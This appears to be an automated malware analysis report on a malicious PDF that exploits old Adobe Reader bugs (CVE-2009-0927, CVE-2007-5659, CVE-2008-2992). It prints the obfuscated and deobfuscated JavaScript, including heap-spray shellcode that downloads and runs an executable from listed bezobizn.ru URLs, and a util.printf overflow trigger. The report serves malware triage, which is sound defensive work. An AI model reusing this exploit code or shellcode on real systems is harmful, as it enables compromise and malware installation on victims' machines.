Malicious PDF — malware analysis report

Static analysis result for SHA-256 11c5d76465e45d71…

MALICIOUS

PDF

7.9 KB Created: 2009-09-23 19:48:48 Authoring application: Eblasha 10.1.9.5 (via PDF Library 8.1.6.9) First seen: 2013-03-20
MD5: da09982e91f5512f43d1aed1234bf06b SHA-1: 3867a8d4aaf70c24dfbc5feea0e72b9ee76e9480 SHA-256: 11c5d76465e45d71da6c2b4f0465590ec8162474333db30b814983f5af3b2502
546 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, specifically CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The JavaScript is designed to download and execute a second-stage payload from one of the provided URLs. The deobfuscated JavaScript confirms the download functionality and the use of exploit techniques.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 13

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var ghknquwxy=0, hiklv='';ghknquwxy<5280;ghknquwxy++){hiklv += String.fromCharCode(fra[ghknquwxy]-'aFGHJmN'.substring(ghknquwxy%'aFGHJmN'.length,ghknquwxy%'aFGHJmN'.length+1).charCodeAt(0));}eval(hiklv);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bezobizn.ru/fiklmowxz3.exe Referenced by PDF JavaScript
    • http://bezobizn.ru/chkprwy3.exeReferenced by PDF JavaScript
    • http://bezobizn.ru/cqrsv3.exeReferenced by PDF JavaScript

Related samples 4

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21118 bytes
SHA-256: 46e3d47043eb5ba619193f3dfdbd55792cc13e924334d773ffaadbc9aac82318
Preview script
First 1,000 lines of the extracted script
var fra=[199,187,181,171,190,214,189,207,102,173,177,194,204,183,213,110,192,169,188,224,190,141,178,172,182,115,232,197,201,175,179,173,114,230,175,211,185,183,118,182,210,188,200,186,175,114,124,169,186,198,180,112,195,195,206,192,212,182,114,133,195,206,192,212,182,130,197,84,230,175,211,185,183,133,195,206,192,212,182,117,187,191,207,193,213,184,176,182,177,149,126,141,178,172,182,121,159,119,156,184,172,188,191,223,188,129,191,168,186,189,221,137,222,80,173,189,184,208,194,202,181,181,104,191,225,183,205,165,183,186,179,219,194,199,110,112,195,192,206,192,129,182,168,193,182,220,175,197,131,188,182,175,224,177,194,182,172,112,108,146,195,151,122,128,120,111,226,127,153,135,120,109,191,157,126,145,118,108,189,130,175,126,145,107,188,123,122,161,126,134,187,123,120,130,175,115,214,126,137,125,126,146,195,145,122,123,120,111,226,130,145,126,137,109,191,165,144,145,122,108,189,122,161,130,145,107,188,122,122,157,146,134,187,121,120,122,157,115,214,121,139,120,122,146,195,145,118,126,139,111,226,126,145,125,126,109,191,157,127,152,122,108,189,125,160,145,148,107,188,126,126,176,126,134,187,123,120,130,175,115,214,125,127,123,122,146,195,153,136,119,139,111,226,126,164,122,119,109,191,164,126,153,136,108,189,139,177,127,164,107,188,125,130,165,144,134,187,140,138,122,165,115,214,126,137,120,131,146,195,148,122,123,120,111,226,130,145,126,139,109,191,165,144,152,137,108,189,125,176,131,153,107,188,124,126,163,143,134,187,139,121,127,174,115,214,120,137,141,124,146,195,153,136,140,122,111,226,147,163,139,138,109,191,162,143,149,140,108,189,130,160,131,147,107,188,125,128,178,143,134,187,124,125,130,166,115,214,123,125,120,126,146,195,153,136,124,127,111,226,129,164,125,122,109,191,164,130,153,136,108,189,129,165,129,148,107,188,142,125,157,129,134,187,127,138,127,163,115,214,120,119,127,128,146,195,167,121,119,123,111,226,145,154,121,122,109,191,162,126,149,127,108,189,139,177,130,146,107,188,142,144,160,129,134,187,119,142,125,163,115,214,119,123,138,143,146,195,148,126,119,123,111,226,133,149,140,121,109,191,176,127,145,126,108,189,122,177,145,167,107,188,142,139,157,129,134,187,140,138,126,157,115,214,123,127,141,144,146,195,167,126,122,138,111,226,147,150,125,124,109,191,165,144,150,139,108,189,124,161,130,151,107,188,139,125,157,129,134,187,127,138,128,163,115,214,122,127,120,141,146,195,150,124,127,138,111,226,126,148,119,138,109,191,165,144,165,121,108,189,130,174,126,149,107,188,139,125,157,129,134,187,124,141,127,179,115,214,137,122,125,122,146,195,152,138,127,140,111,226,131,152,118,127,109,191,175,134,150,120,108,189,141,174,129,148,107,188,125,140,165,143,134,187,136,122,143,165,115,214,140,141,142,144,146,195,148,120,141,142,111,226,134,163,137,119,109,191,179,128,167,125,108,189,126,179,143,166,107,188,127,127,175,134,134,187,125,125,124,178,115,214,135,137,127,130,146,195,154,126,125,126,111,226,143,163,124,125,109,191,176,126,148,121,108,189,128,158,144,153,107,188,120,122,163,130,134,187,124,120,122,157,115,214,123,123,126,130,146,195,152,120,125,128,111,226,129,150,124,124,109,191,158,145,147,122,108,189,129,161,132,154,107,188,125,126,162,126,134,187,137,128,127,160,115,214,140,138,137,139,146,195,152,137,119,140,111,226,131,150,140,141,109,191,165,144,145,122,108,189,130,160,148,153,107,188,120,141,176,130,134,187,125,139,140,157,115,214,139,119,128,139,146,195,150,118,128,128,111,226,132,167,124,127,109,191,159,147,151,139,108,189,128,165,132,149,107,188,127,124,164,131,134,187,125,140,128,176,115,214,136,127,125,126,146,195,149,139,127,141,111,226,147,164,118,140,109,191,162,131,167,140,108,189,131,160,126,149,107,188,123,125,162,126,134,187,124,120,141,157,115,214,123,125,125,122,146,195,150,123,127,138,111,226,134,148,118,123,109,191,164,148,164,120,108,189,141,159,134,148,107,188,125,124,161,145,134,187,137,128,127,157,115,214,119,136,123,128,146,195,152,118,121,142,111,226,131,150,140,141,109,191,162,144,145,122,108,189,127,163,131,152,107,188,129,130,175,134,134,187,127,137,144,178,115,214,140,141,120,143,146,195,145,122,124,125,111,226,126,145,124,136,109,191,177,133,167,140,108,189,129,161,132,153,107,188,127,122,164,130,134,187,121,142,125,174,115,214,124,121,122,144,146,195,152,135,125,125,111,226,132,147,124,141,109,191,164,143,151,127,108,189,124,178,132,166,107,188,127,127,164,128,134,187,125,126,124,179,115,214,124,137,126,131,146,195,151,138,125,139,111,226,133,152,124,141,109,191,164,143,152,126,108,189,124,178,129,148,107,188,127,130,163,131,134,187,119,120,128,162,112,138,129,189,169,188,141,188,208,182,132,189,184,210,193,196,167,183,173,114,143,115,214,118,136,120,139,146,195,145,135,119,137,111,226,126,162,118,136,109,191,157,143,145,135,105,113,84,227,175,211,102,175,173,171,221,176,205,181,170,179,135,219,189,209,113,183,169,195,217,189,194,170,130,190,171,223,110,195,175,174,170,182,220,177,204,131,188,182,175,224,177,194,182,172,112,108,146,195,145,135,119,137,111,226,126,162,118,136,106,115,168,196,194,184,103,176,175,206,178,198,184,186,177,196,210,139,147,118,130,190,171,223,110,212,182,185,169,195,170,182,198,167,171,173,188,224,183,219,171,114,176,175,206,190,195,178,182,171,181,155,186,198,180,174,188,178,168,197,201,175,179,173,114,207,183,200,168,179,183,173,216,124,205,171,181,175,190,213,138,212,182,185,169,195,150,201,195,175,174,170,182,220,177,204,113,132,170,179,212,176,205,181,170,179,133,234,88,215,167,185,104,176,214,186,205,168,179,183,173,216,139,195,175,174,170,182,220,177,204,116,186,189,172,224,194,211,175,181,175,114,157,122,212,182,185,169,195,150,137,215,167,185,104,172,217,189,196,177,132,170,179,212,176,205,181,170,179,120,224,195,195,185,187,186,179,219,181,137,118,115,170,179,212,176,205,181,170,179,120,217,179,207,173,187,176,119,224,190,211,167,192,113,133,228,182,202,178,172,112,172,217,189,196,177,117,180,175,219,181,213,174,114,187,186,223,175,218,130,119,192,126,157,126,145,118,112,195,172,217,189,196,177,132,170,182,220,177,204,113,169,180,185,208,185,140,172,176,180,182,207,186,208,169,178,131,199,119,196,194,184,103,181,175,218,173,194,184,185,169,195,170,188,198,189,103,137,188,223,175,218,110,112,131,176,220,192,137,188,168,186,106,214,139,145,129,176,132,123,161,126,145,129,176,115,117,150,201,206,171,180,167,171,223,192,194,191,162,177,167,170,176,205,181,170,179,117,213,179,194,182,169,180,185,208,185,156,195,81,190,171,223,110,207,187,180,133,123,159,135,154,127,128,129,131,166,135,154,127,128,129,131,166,135,154,127,128,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,134,153,126,127,128,130,165,137,214,186,176,180,120,221,192,202,180,187,174,114,143,115,149,123,119,120,122,211,112,141,180,188,181,115,168,203,107,172,188,182,173,225,183,208,180,103,171,185,217,186,194,168,166,173,183,206,183,205,110,112,195,192,206,192,129,185,175,173,182,217,177,208,170,172,133,191,219,179,212,169,168,184,175,149,112,134,187,125,124,131,157,115,214,119,127,137,123,146,195,145,118,119,120,111,226,134,163,118,119,109,191,160,126,149,118,108,189,126,157,134,163,107,188,128,140,162,130,134,187,119,124,126,157,115,214,122,119,128,140,146,195,153,136,119,124,111,226,126,149,122,119,109,191,159,126,145,138,108,189,124,157,126,145,107,188,123,142,157,126,134,187,119,120,129,176,115,214,118,119,127,129,146,195,145,119,126,124,111,226,129,148,137,122,109,191,163,130,164,118,108,189,126,157,134,163,107,188,127,130,160,126,134,187,127,138,122,176,115,214,118,138,124,122,146,195,152,118,127,138,111,226,143,165,119,138,109,191,162,134,153,136,108,189,143,175,126,153,107,188,128,140,157,135,134,187,122,124,126,157,115,214,122,119,128,142,146,195,153,136,126,139,111,226,129,164,123,127,109,191,161,130,151,135,108,189,142,158,131,162,107,188,122,140,178,128,134,187,127,138,143,159,115,214,139,137,141,141,146,195,150,135,123,142,111,226,134,148,123,121,109,191,162,132,166,135,108,189,127,162,134,154,107,188,125,128,157,130,134,187,127,138,127,164,115,214,121,138,127,125,146,195,152,122,127,138,111,226,133,153,121,122,109,191,179,129,145,121,108,189,130,175,131,151,107,188,122,122,164,132,134,187,141,123,122,160,115,214,137,128,123,125,146,195,150,118,123,129,111,226,143,165,122,120,109,191,179,148,148,121,108,189,122,179,129,151,107,188,121,126,175,147,134,187,122,128,122,160,115,214,125,123,142,124,146,195,164,119,119,128,111,226,126,165,137,141,109,191,179,143,145,121,108,189,143,175,130,145,107,188,125,130,178,148,134,187,141,128,125,175,115,214,139,124,127,127,146,195,153,136,124,141,111,226,128,149,122,125,109,191,176,129,145,121,108,189,130,175,132,151,107,188,124,130,157,145,134,187,124,126,130,175,115,214,118,122,121,141,146,195,153,136,139,123,111,226,134,162,118,123,109,191,176,129,145,121,108,189,127,178,131,167,107,188,139,125,162,126,134,187,126,140,130,177,115,214,123,126,120,130,146,195,163,126,124,122,111,226,145,162,121,122,109,191,162,144,153,135,108,189,139,159,147,153,107,188,142,144,179,148,134,187,122,122,144,179,115,214,126,137,139,122,146,195,167,120,141,127,111,226,130,167,135,140,109,191,164,131,163,126,108,189,128,162,128,166,107,188,137,140,164,134,134,187,128,128,128,163,115,214,135,137,126,128,146,195,164,118,122,123,111,226,132,146,136,127,109,191,157,126,151,122,108,189,127,157,126,145,107,188,125,126,163,134,134,187,126,122,128,165,115,214,121,124,126,127,146,195,146,137,121,124,111,226,133,149,124,128,109,191,162,130,150,118,108,189,140,165,131,148,107,188,142,141,174,143,134,187,126,139,122,177,115,214,123,124,142,144,146,195,153,136,119,124,111,226,134,148,140,127,109,191,157,145,164,122,108,189,128,176,144,145,107,188,141,122,165,143,134,187,124,120,131,165,115,214,124,141,126,130,146,195,147,139,125,141,111,226,132,153,124,123,109,191,164,128,152,123,108,189,128,177,132,164,107,188,138,130,162,130,134,187,123,141,130,178,115,214,139,138,120,143,146,195,150,123,141,142,111,226,135,148,118,123,109,191,160,129,150,118,108,189,127,157,145,145,107,188,125,128,162,126,134,187,124,125,130,175,115,214,126,122,120,126,146,195,152,140,138,122,111,226,145,147,126,122,109,191,162,128,149,137,108,189,140,165,131,145,107,188,121,139,160,132,134,187,126,120,124,179,115,214,123,124,142,144,146,195,150,136,119,124,111,226,131,151,123,126,109,191,166,134,163,126,108,189,130,174,148,166,107,188,142,144,157,147,134,187,119,124,127,162,115,214,118,119,126,139,146,195,165,125,141,142,111,226,133,149,124,127,109,191,164,126,152,122,108,189,124,179,129,162,107,188,126,124,159,148,134,187,126,137,128,162,115,214,124,121,126,144,146,195,152,135,125,129,111,226,128,166,124,140,109,191,164,131,152,120,108,189,128,160,128,167,107,188,126,140,163,134,134,187,126,122,129,157,115,214,125,128,127,129,146,195,147,139,122,123,111,226,133,153,124,124,109,191,157,126,151,123,105,113,133,227,175,211,102,180,173,183,204,175,211,184,168,193,135,219,179,216,102,136,186,188,206,199,137,111,130,190,171,223,110,196,169,132,120,194,157,177,145,169,119,171,122,208,137,215,167,185,104,171,209,178,211,131,119,192,126,157,126,145,118,119,131,192,206,192,129,185,170,167,182,210,188,158,185,175,173,182,217,177,208,170,172,118,182,210,188,200,186,175,114,124,168,196,194,184,103,180,175,219,139,194,170,171,186,119,149,193,196,165,179,173,184,152,126,217,121,127,113,133,227,175,211,102,192,169,188,224,190,158,187,181,173,189,208,175,209,171,111,106,111,226,135,145,127,119,109,191,166,126,154,118,105,113,133,230,175,211,185,183,133,176,214,198,192,175,187,112,195,206,192,212,182,115,180,175,219,119,156,188,168,186,106,208,189,214,180,187,122,135,149,177,196,115,119,192,126,157,126,145,118,119,113,121,206,178,197,184,130,174,185,223,118,215,167,185,104,173,220,195,207,186,132,120,133,208,189,214,180,187,132,173,220,195,207,186,121,131,173,220,195,207,186,114,115,115,232,187,198,179,166,169,188,223,175,218,161,170,183,191,219,194,190,131,192,169,188,224,190,140,185,175,173,182,217,177,208,170,172,131,199,119,196,194,184,103,183,192,210,192,199,178,182,191,135,226,188,198,185,170,169,186,210,118,131,107,188,120,173,157,177,134,187,119,171,122,208,112,138,129,190,176,179,217,179,137,181,189,173,188,211,186,208,189,117,180,175,219,181,213,174,131,124,126,166,131,147,111,194,183,192,210,192,199,178,182,191,117,170,189,215,171,185,174,182,220,197,156,195,81,188,178,214,193,143,169,182,180,182,206,176,180,186,182,186,175,170,145,208,178,179,169,172,155,177,208,178,179,173,173,225,147,206,167,176,180,147,219,180,208,110,194,187,191,207,184,155,104,105,116,183,224,181,155,181,189,173,188,211,186,208,189,196,113,133,234,88,199,187,181,171,190,214,189,207,102,170,183,182,217,175,195,165,174,173,190,214,177,208,180,111,113,197,214,180,137,167,183,184,120,209,189,196,116,138,183,182,217,175,195,116,174,173,190,182,177,208,180,112,195,192,206,192,129,167,185,186,195,170,188,198,189,103,137,188,223,175,218,110,112,131,192,206,192,129,188,189,184,175,225,182,218,167,132,189,184,210,193,196,167,183,173,114,143,115,214,124,123,129,122,146,195,146,126,136,121,111,226,126,145,118,119,109,191,165,144,145,118,108,189,125,157,130,145,107,188,124,122,165,144,134,187,127,138,127,161,115,214,118,123,124,122,146,195,149,118,127,138,111,226,134,163,118,123,109,191,157,130,149,118,108,189,124,157,126,165,107,188,122,122,157,126,134,187,122,140,122,157,115,214,118,119,127,141,146,195,145,118,126,127,111,226,126,146,125,123,109,191,160,129,164,121,108,189,128,161,145,145,107,188,124,122,165,144,134,187,126,128,125,157,115,214,126,137,120,141,146,195,145,137,123,120,111,226,133,145,126,137,109,191,174,146,146,137,108,189,127,165,134,163,107,188,141,140,157,134,134,187,127,138,122,166,115,214,121,123,124,122,146,195,149,118,127,140,111,226,134,163,125,138,109,191,160,145,150,126,108,189,126,161,132,162,107,188,140,123,162,143,134,187,121,138,143,159,115,214,126,137,141,124,146,195,166,136,140,139,111,226,131,162,122,141,109,191,165,129,150,120,108,189,127,163,147,162,107,188,125,127,165,135,134,187,124,126,122,161,115,214,126,137,125,129,146,195,148,137,126,123,111,226,133,149,126,137,109,191,164,134,148,121,108,189,144,160,126,148,107,188,128,140,162,132,134,187,121,120,129,163,115,214,140,122,120,125,146,195,164,127,122,123,111,226,131,145,122,128,109,191,174,146,149,119,108,189,144,179,129,148,107,188,120,144,160,132,134,187,120,124,140,178,115,214,121,127,120,125,146,195,152,122,141,122,111,226,145,146,118,127,109,191,157,146,164,140,108,189,144,174,126,148,107,188,141,140,161,126,134,187,124,128,143,179,115,214,140,127,123,140,146,195,166,123,126,125,111,226,134,163,123,140,109,191,159,130,149,124,108,189,141,160,126,148,107,188,128,140,163,132,134,187,123,128,122,176,115,214,123,125,128,140,146,195,145,121,120,139,111,226,134,163,138,122,109,191,165,143,145,122,108,189,141,160,126,148,107,188,125,143,162,148,134,187,138,123,127,157,115,214,125,139,128,142,146,195,150,125,119,128,111,226,144,153,123,121,109,191,176,143,148,121,108,189,127,175,134,162,107,188,137,124,178,134,134,187,141,142,144,179,115,214,121,121,142,144,146,195,153,136,138,120,111,226,148,147,140,126,109,191,161,148,162,139,108,189,129,162,144,153,107,188,126,127,159,147,134,187,136,138,129,165,115,214,127,127,126,128,146,195,162,136,125,126,111,226,145,145,121,122,109,191,163,127,163,126,108,189,122,157,132,149,107,188,125,122,157,126,134,187,124,124,128,165,115,214,125,121,126,130,146,195,148,123,125,125,111,226,127,164,120,123,109,191,164,130,151,127,108,189,127,161,131,145,107,188,138,130,162,129,134,187,141,139,139,174,115,214,125,138,120,142,146,195,150,123,141,142,111,226,134,163,118,123,109,191,165,129,167,126,108,189,122,176,145,149,107,188,126,141,175,126,134,187,140,120,130,174,115,214,123,119,129,130,146,195,151,140,125,128,111,226,128,166,124,140,109,191,163,134,151,122,108,189,129,159,133,150,107,188,126,142,163,145,134,187,137,128,127,161,115,214,122,140,128,143,146,195,166,137,119,141,111,226,131,150,140,141,109,191,166,129,145,122,108,189,125,160,131,145,107,188,125,122,176,126,134,187,124,126,127,157,115,214,123,124,128,140,146,195,153,121,119,124,111,226,133,167,137,121,109,191,176,128,153,121,108,189,127,159,130,164,107,188,138,130,162,126,134,187,120,137,125,163,115,214,125,119,122,144,146,195,150,123,141,142,111,226,131,163,118,123,109,191,162,132,150,125,108,189,131,165,144,153,107,188,128,139,179,147,134,187,141,142,122,178,115,214,118,123,125,127,146,195,145,118,125,137,111,226,146,152,140,141,109,191,164,130,151,126,108,189,129,157,133,149,107,188,122,144,160,143,134,187,125,122,124,179,115,214,125,136,126,127,146,195,151,120,125,142,111,226,133,162,124,128,109,191,159,147,151,139,108,189,129,162,133,147,107,188,126,125,159,148,134,187,126,122,129,158,115,214,125,125,127,125,146,195,147,139,122,123,111,226,133,153,124,124,109,191,157,126,151,123,105,113,133,227,175,211,102,175,159,187,162,126,145,137,149,133,192,227,190,198,186,175,193,171,155,186,198,180,174,188,178,151,128,156,188,168,186,106,217,179,207,131,119,192,126,157,126,145,118,119,117,114,213,165,210,123,119,120,141,187,121,145,190,122,128,115,168,196,194,184,103,193,171,223,193,209,131,188,182,175,224,177,194,182,172,112,108,146,195,154,118,128,120,111,226,135,145,127,119,106,115,168,199,194,184,186,184,135,211,183,217,165,176,188,114,230,175,211,185,183,116,182,210,188,138,129,189,169,188,141,190,150,135,177,147,128,162,180,158,110,119,192,122,208,126,196,118,170,120,173,154,126,217,122,119,120,122,157,126,138,117,119,192,126,157,126,145,118,119,131,176,220,192,137,188,168,186,106,227,191,196,151,139,129,128,230,139,145,129,189,185,173,190,146,154,124,192,132,186,162,143,203,145,125,125,176,168,196,210,169,152,140,131,163,199,140,113,112,195,171,223,192,218,161,189,185,173,190,146,154,124,192,165,135,230,175,211,185,183,115,192,227,190,198,186,175,193,171,168,203,107,188,168,186,106,225,163,174,174,149,170,145,228,139,214,180,172,187,173,206,190,198,110,105,109,122,166,112,138,129,190,176,179,217,179,137,186,156,149,178,187,176,168,189,117,180,175,219,181,213,174,131,120,194,161,126,145,118,112,195,190,194,155,201,148,169,143,193,152,139,213,155,148,176,152,207,149,216,129,196,82,190,194,155,201,148,169,143,193,170,112,175,116,105,115,190,194,155,201,148,169,143,193,168,175,209,182,117,172,185,208,124,164,181,179,180,171,207,124,200,171,187,145,173,220,188,137,186,156,149,178,187,176,168,189,112,131,199,234,88,199,187,181,171,190,214,189,207,102,183,172,176,204,193,213,167,185,188,114,150,201,215,167,185,104,192,210,192,212,175,182,182,135,206,190,209,116,189,177,175,228,179,211,156,172,186,189,214,189,207,116,187,183,157,225,192,202,180,174,112,115,168,196,198,184,186,177,185,219,139,215,171,185,187,179,220,188,143,184,172,184,182,206,177,198,110,118,164,142,156,181,141,109,110,113,133,227,175,211,102,189,169,188,224,183,208,180,166,169,188,223,175,218,131,181,173,193,141,143,211,184,168,193,114,227,179,211,185,176,183,184,155,177,201,167,185,137,190,149,126,138,114,189,173,188,224,183,208,180,117,171,178,206,192,162,186,111,121,115,153,196,198,184,186,177,185,219,124,196,174,168,186,139,225,118,147,111,112,131,179,211,118,137,188,168,186,189,214,189,207,165,168,186,188,206,199,188,118,164,133,135,165,119,135,108,111,190,171,223,193,202,181,181,167,171,223,192,194,191,162,121,167,170,139,145,111,195,196,114,227,175,211,185,176,183,184,204,175,211,184,168,193,165,158,171,158,131,120,110,112,227,175,211,185,176,183,184,204,175,211,184,168,193,165,159,171,157,121,112,113,197,226,194,202,178,166,184,188,214,188,213,172,111,113,133,234,88,202,172,111,112,192,206,192,212,175,182,182,169,206,192,211,167,192,163,122,202,138,153,111,195,196,114,227,175,211,185,176,183,184,204,175,211,184,168,193,165,157,171,158,131,127,110,112,227,175,211,185,176,183,184,204,175,211,184,168,193,165,158,171,157,120,109,110,192,206,192,212,175,182,182,169,206,192,211,167,192,163,124,202,138,147,111,112,195,173,220,186,205,167,169,167,175,218,175,202,178,111,113,133,234,88,202,172,111,112,192,206,192,212,175,182,182,169,206,192,211,167,192,163,122,202,138,154,111,195,196,114,227,175,211,185,176,183,184,204,175,211,184,168,193,165,157,171,158,131,128,110,112,227,175,211,185,176,183,184,204,175,211,184,168,193,165,158,171,157,119,112,113,197,208,189,205,178,168,170,169,212,179,213,175,170,183,184,149,119,156,195,196,82,186,209,180,192,185,187,169,188,225,118,138,129];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1B68 208 bytes
SHA-256: 42d000ea4a98c71e1a023dd00d1b360b09ded7d17f7bf2d5b17c7da8588be230
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var ghknquwxy=0, hiklv='';ghknquwxy<5280;ghknquwxy++){hiklv += String.fromCharCode(fra[ghknquwxy]-'aFGHJmN'.substring(ghknquwxy%'aFGHJmN'.length,ghknquwxy%'aFGHJmN'.length+1).charCodeAt(0));}eval(hiklv);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5280 bytes
SHA-256: 5fc3690690fce739ff56f55d799f801caceffd4a70e53d2cdee6806960296413
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7A65%u626F%u7A69%u2E6E%u7572%u662F%u6B69%u6D6C%u776F%u7A78%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
